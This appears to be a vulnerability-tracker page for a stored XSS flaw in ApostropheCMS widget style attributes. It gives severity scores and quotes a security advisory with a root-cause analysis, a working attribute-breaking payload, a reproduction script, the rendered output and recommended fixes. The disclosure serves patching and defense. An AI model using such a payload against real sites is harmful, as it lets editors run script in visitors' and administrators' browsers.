CVE-2026-112958

mediumpriority · track · 0EPSS 0.003 · 23 %ileUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.30% (23rd) EPSS
CVSS 5.4 · medium
Is it mine?
1 products
Check your exposure
Who says so?
1 sources
osv

EPSS · scored 2026-10-28

ApostropheCMS is an open-source Node.js content management system. Prior to 4.34.0, a project-defined free-form widget style field can carry an editor-controlled quote into an inline style attribute because the wrapper serializer does not apply HTML-attribute encoding. The quote can terminate the style attribute and inject executable attributes when published content, or an affected draft viewed by a higher-privileged user, is rendered. This issue is fixed in version 4.34.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

5.4
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.15.4mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:Nsecondary · security-advisories@github.comexploitability 2.3 · impact 2.7
v3.15.4mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:Nsecondary · OSV
v3.15mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (1)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-7jg5-frgc-c67wApostropheCMS: Stored XSS via Unescaped Widget Style Attribute Serialization2026-10-21ghsa · osvUS

    ## Summary ApostropheCMS widget styles support project-defined schema fields. If a project defines a free-form `string` style field with a CSS `property` and no selector, an editor-controlled value is rendered as an inline CSS declaration. The resulting declaration is then inserted into the widget wrapper's `style="..."` attribute without HTML-attribute escaping. An attacker who can edit the widget can include a double quote in the style value, terminate the `style` attribute, and inject new HTML event-handler attributes. The payload is stored with the widget and executes in the Apostrophe site origin whenever the affected published page is rendered. This is a sibling of CVE-2026-33889 / `GHSA-97v6-998m-fp4g`. The earlier issue escaped from a `<style>` element through a malicious color value. This variant reaches a different sink related to the automatically generated widget wrapper's inline `style` and `class` attributes. ## Details ### Root Cause 1: Free-form string style values retain HTML metacharacters The standard string field converter uses `launder.string()` and length validation. This performs type normalization, not output encoding for an HTML attribute context: [`packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/schema/lib/addFieldTypes.js#L296-L333) ```javascript self.addFieldType({ name: 'string', // ... convert(req, field, data, destination) { destination[field.name] = self.apos.launder.string(data[field.name]); destination[field.name] = checkStringLength( destination[field.name], field.min, field.max ); } }); ``` Quotes therefore remain in a value supplied through a style field. ### Root Cause 2: The value is converted into inline CSS without value validation For a field with `property` but no `selector` or media query, `renderScopedStyles()` selects inline rendering. The generic extractor concatenates the configured property and editor-controlled value: [`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L171-L228) [`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L598-L647) ```javascript rule = `${property}: ${normalized.value}${normalized.unit}`; // ... if (isInline) { return { css: '', classes: [ ...storage.classes ], inline: stringifyRules(storage.styles, true) }; } ``` For example, the value below becomes part of a `font-family` declaration: ```text serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed' ``` ### Root Cause 3: Attribute values are serialized without HTML escaping `getWidgetAttributes()` places the inline CSS into an attribute tuple, then concatenates every tuple into `key="value"` without encoding `&`, `<`, `>`, `'`, or `"`: [`packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/lib/methods.js#L251-L322) ```javascript if (styleParts.length) { attrs.push( [ 'style', `${styleParts.join(';')};` ] ); } if (options.asObject) { return Object.fromEntries(attrs); } return attrs .map(([ key, value ]) => `${key}="${value}"`) .join(' '); ``` The same raw serializer also makes a project-defined free-form `string` style with `class: true` a potential sibling path, because the string is added to `classes` and later serialized into `class="..."`. The inline-property path was the path dynamically verified. ### Root Cause 4: The unsafe string is used by the automatic public wrapper Styled widgets use `getWidgetAttributes()` to create a wrapper around the rendered widget: [`packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/widget-type/index.js#L448-L457) ```javascript if (hasStyles && self.options.stylesWrapper !== false) { const styles = self.apos.styles.prepareWidgetStyles(widget); const styleTag = self.apos.styles .getWidgetElements(styles, { scene: req.scene }); const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles); return `${styleTag}<div${wrapperAttrs ? ' ' + wrapperAttrs : ''}>${markup}</div>`; } ``` Consequently, the injected attribute is present on normal public page renders, not only in the editor UI. ### Why the CVE-2026-33889 defense does not prevent this variant The sibling advisory led to a defense in `getWidgetElements()` that rewrites `</` before CSS is inserted into a `<style>` element: ```javascript css = css.replaceAll('</', '<\\/'); ``` This protects the style-element boundary. The vulnerable path above produces `inline` output instead of `css`, so it never reaches that replacement. ## Affected Configurations and Versions The verified configuration has all of the following properties: - A widget defines a style field with a free-form type such as `string`. - The field uses `property` without a selector, causing inline-style rendering, or uses `class: true` with an unrestricted string value. - The attacker has permission to edit a widget containing the field. - The malicious content is published, or a higher-privileged user views the affected draft. Standard range, select, and color presets do not directly provide an unrestricted quote-containing value and were not demonstrated as affected by this variant. ## Proof of Concept ### Step 1: Configure a widget with a free-form inline style Add a style field similar to the following to a widget module: ```javascript module.exports = { extend: '@apostrophecms/widget-type', options: { label: 'Style Attribute Test' }, styles: { add: { customFont: { type: 'string', label: 'Custom Font', property: 'font-family' } } } }; ``` The absence of `selector` makes the generated declaration inline. ### Step 2: Store the payload As a user who may edit this widget, enter the following value in `customFont` and save the widget: ```text serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed' ``` Publish the page, or have another user view the affected draft. ### Step 3: Reproduce the renderer output directly The vulnerable data flow can also be reproduced using the real renderer and serializer from a checked-out, dependency-installed repository: ```javascript const methodsFactory = require( './packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js' ); (async () => { const { renderScopedStyles } = await import( './packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs' ); const payload = 'serif" tabindex="0" autofocus ' + 'onfocus="document.body.dataset.inline=\'executed\''; const styles = renderScopedStyles( [ { name: 'customFont', type: 'string', property: 'font-family' } ], { customFont: payload } ); Object.assign(styles, { styleId: 'audit-inline', widgetId: 'widget-1' }); const attrs = methodsFactory({}, {}).getWidgetAttributes(styles); console.log('inline:', styles.inline); console.log('attributes:', attrs); })(); ``` ### Step 4: Observe the unsafe HTML The current renderer produced: ```text inline: font-family: serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'; ``` The serializer then produced an attribute string equivalent to: ```html id="audit-inline" data-apos-widget-style-wrapper-for="widget-1" data-apos-widget-style-classes="" style="font-family: serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed';" ``` The attacker-controlled quote terminates the `style` attribute. `tabindex`, `autofocus`, and `onfocus` become separate live attributes. ### Step 5: Confirm execution in a browser When the generated wrapper was loaded in Chrome 153, autofocus triggered the injected handler automatically. The DOM changed to: ```html <body data-inline="executed"> <div id="audit-inline" tabindex="0" autofocus="" onfocus="..."></div> </body> ``` The safe behavior would be for the quote to appear as `&quot;` inside the `style` attribute, with no injected attributes and no change to `document.body.dataset`. ## Impact - **Stored XSS on published pages:** JavaScript executes for unauthenticated visitors who load a page containing the affected widget. - **Privilege escalation:** If an administrator or another privileged editor views the page or draft, the payload executes with that user's application-origin privileges and can perform authenticated actions available to the victim. - **Persistent content manipulation:** The payload is stored with widget content and continues to execute until the style value is removed or the output path is fixed. - **Phishing and data access:** The script can alter the rendered page, read non-HttpOnly same-origin data, and issue same-origin requests as the victim. ## Recommended Fix ### Fix 1: HTML-escape every string-returning attribute value The string branch of `getWidgetAttributes()` should encode values for a double-quoted HTML attribute context before concatenation. At minimum, encode `&`, `<`, `>`, `"`, and `'` using a centralized Apostrophe HTML encoder. Conceptually: ```javascript if (options.asObject) { return Object.fromEntries(attrs); } return attrs .map(([ key, value ]) => { return `${key}="${escapeHtmlAttribute(String(value))}"`; }) .join(' '); ``` The structured `asObject` branch should remain structured so that its eventual template/DOM renderer can perform context-appropriate encoding. ### Fix 2: Validate style values by their destination grammar Output encoding is the primary fix. As defense in depth: - Require select/range/color or another constrained type for common CSS properties. - Parse and validate free-form CSS property values instead of treating them as arbitrary strings. - For `class: true`, accept only individual valid class-name tokens rather than an unrestricted string.

06

sources

Which sources assert this record, and when.

published 2026-10-20modified 2026-10-20
08

references (4) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan